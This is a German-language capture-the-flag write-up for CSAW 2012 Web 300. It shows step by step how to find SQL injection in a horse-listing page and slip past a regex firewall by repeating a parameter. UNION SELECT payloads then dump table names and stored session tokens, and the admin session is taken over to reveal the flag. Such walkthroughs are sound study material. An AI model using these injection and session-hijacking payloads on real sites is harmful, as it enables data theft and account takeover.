CSAW CTF Qualifiers 2012 –
Web 300

http://128.238.66.217/
“This is a website belonging to a horse-fighting gang. Even with an account, it’s not clear what they’re up to. Your task is to get administrator access and see if you can figure anything out. Your account is csaw_challenger/letmein123.”

Bei der Challenge Web 300 handelt es sich um ein Board, in der diverse Informationen präsentiert werden. Dies umfasst im wesentlichen jeweils eine Seite mit News, bzw. Benutzerinformationen oder jegliche Informationen zu Pferden (Name, Beschreibung etc pp).

CSAW CTF 2012 - Web 300 - website

Die Seiten selbst werden per GET Request weiter verarbeitet. Ausserdem stellt man recht schnell fest, dass ein Session Cookie des aktuell angemeldeten Benutzers gesetzt wird. Somit muss man wohl irgendwie versuchen die Session des Administrators zu übernehmen. Bei näherer Untersuchung fällt auf, dass jegliche Informationen mittels URI (id=XXX) ausgewertet werden. Das lässt vermuten, dass bei dieser Challenge eine SQL Injection Schwachstelle ausgenutzt werden muss. Das wird auf den Seiten “user.php” und “horse.php” überprüft.

http://128.238.66.217/user.php?id=1′ or ‘1’=’1      => keine Schwachstelle
http://128.238.66.217/horse.php?id=1′ or ‘1’=’1    => Schwachstelle !!!

CSAW CTF 2012 - Web 300 - SQL injection error message

Da man auf der Seite “horse.php” eine Schwachstellen identifizieren konnte, kann man nun im nächsten Schritt komplett alle Tabellen der Datenbank auslesen. Dazu ist es immer hilfreich, zu wissen, wieviele Spalten evtl. im SQL Statement aus der Datenbank ausgelesen werden, um weitere SQL Fehlermeldungen bezügich einer UNION SELECT Anweisung zu vermeiden.

CSAW CTF 2012 - Web 300 - SQL table count

Wie man erkennt handelt es sich wohl um 3 Spalten (Name, Description, Picture).
Also probiert man einfach mal folgenden GET Request aus.

http://128.238.66.217/horse.php?id=1 union select 1,2,3 from information_schema.tables limit 0,50–

CSAW CTF 2012 - Web 300 - SQL UNION injection

Hierbei kommt es also zu einem Problem. Die Schwachstelle lässt sich nicht ausnutzen,
da der GET Request wohl mittels Web Application Firewall (WAF) überprüft wird.
Was passiert genau? Um das herauszufinden, werden verschiedenste URL’s an den Webserver gesendet.

http://128.238.66.217/horse.php?id=1 union select test
http://128.238.66.217/horse.php?id=1 test union test
http://128.238.66.217/horse.php?id=1 test select test
http://128.238.66.217/horse.php?id=1 test union
http://128.238.66.217/horse.php?id=1 test select

Alle eingegebenen Strings führen zu dem oben angegebenen Fehler.
Somit wird vermutlich die WAF mitttels Reg Ex folgendes überprüfen:

/^.*select.*$/ or /^.*union.*$/

Was kann man nun tun, um dieses Verfahren zu umgehen?
Das Zauberwort hierbei heißt HTTP Parameter Pollution,
indem man den Parameter einfach doppelt in der URI angibt.

http://128.238.66.217/horse.php?id=1 and id=2

In diesem Fall wird vom Webserver nur der zweite Parameter ausgewertet.
Was tut jedoch die Firewall? Die WAF überprüft nur den ersten Parameter.

WAF Network Layer       =>    id=1             zur Umgehung der WAF
PHP Application Layer   =>    id=[SQLi]     Ausnutzen der Schwachstelle

Mit diesen Erkenntnissen ist es nur noch Formsache an die nötigen Informationen der Datenbank zu gelangen. Hinweis: Man wird jedoch mit den bereits oben erwähnten 3 Spalten nicht viel anrichten können, da in der UNION SELECT Anweisung alle Spalten der benutzten Tabelle angegeben werden müssen. Das heißt auch jegliche versteckte Spalten. In diesem Fall 4 Spalten (ID, Name, Description, Picture).

1. Komplett alle Tabellen ausgeben lassen

http://128.238.66.217/horse.php?id=1 and id=2 union select ‘x’,table_name,’x’,’x’ from information_schema.tables limit 0,50–

-> horses
-> sessions    !!!
-> users

Wie man schnell erkennt, fallen 2 Tabellen ins Auge. Man könnte zwar einerseits die Tabelle “users” auslesen und versuchen an Zugangsdaten zu gelangen. Das wäre in diesem Beispiel aber ein sehr umständlicher Weg, da man schnell merken wird, dass die vorhanden Passwörter gehashed sind und ein knacken der Hashes nur mit unnötig hohem Aufwand verbunden wäre. Wie wir am Anfang bereits herausgefunden haben, müssen wir versuchen die Session des Admins abzugreifen !!!
Hinweis: das Auslesen der Tabelle “users” ist jedoch keine Zeitverschwendung, da so die eindeutige id des Admins herausgefunden wird.

2. Alle Spalten der Tabelle Sessions ausgeben lassen

http://128.238.66.217/horse.php?id=1 and id=2 union select ‘x’,column_name,’x’,’x’ from information_schema.columns where table_name=’sessions’ LIMIT 0,20–

-> session_id
-> session        !!!
-> user_id         !!!

3. Alle User_IDs und dazugehörigen Sessions ausgeben lassen

http://128.238.66.217/horse.php?id=1 and id=2 union select ‘x’,user_id,’x’,session from sessions limit 0,20–

Horse: 1
Description: bsv30irdq0PCvJxJrCAxROcmdXaUiwgQtPeg5J75EYgrH8jyHQ

Horse: 2
Description: hbpnEGKo2WeLvQuQL0kb8vyyOHMn96ZYAROXmBggB6Pdr0FX4p
Horse: 3
Description: VnRu2Zcv7REYTgHOqafggyYn3hA3cq1D9B4u4IxEcnB0TgPT4j
Horse: 4
Description: UkOAVJ4ZAuX1t0Hib4maJccftZVeC4TdCZ8WxhQJZKqQ9axbwc
Horse: 5
Description: 4gNszBZeSDjjKE5sSJwIcPOzTvhM90IR9JrqPa286tLfiDNDyp
Horse: 6
Description: hmmJU3LrcIO7yJ77aSOsL9YIEjKITkOLg1CE0HF6Cnsbv2J077
Horse: 7
Description: SL2v2sJvyu7Xw5Lc5b8UBSNFGOFhMfFrCWsgNGZZBSBfazpTlX

Unter Punkt 1 wurde bereits erwähnt dass es Sinn macht auch die Tabelle “users” auszulesen, um die eindeutige ID des Admins heraus zu finden ohne Raten zu müssen. Diese ist hierbei id=1. Somit muss man einfach nur noch die Session der ID 1 in unserem Cookie verankern und die Seite neu aufrufen.

CSAW CTF 2012 - Web 300 - solution

Welcome back, Mr. Corgi.
key{6f68676f64686f7764696474686973676574696e6865726549616d6e6f74676f6f6477697468636f6d7075746572}

Leave a Reply

Your email address will not be published.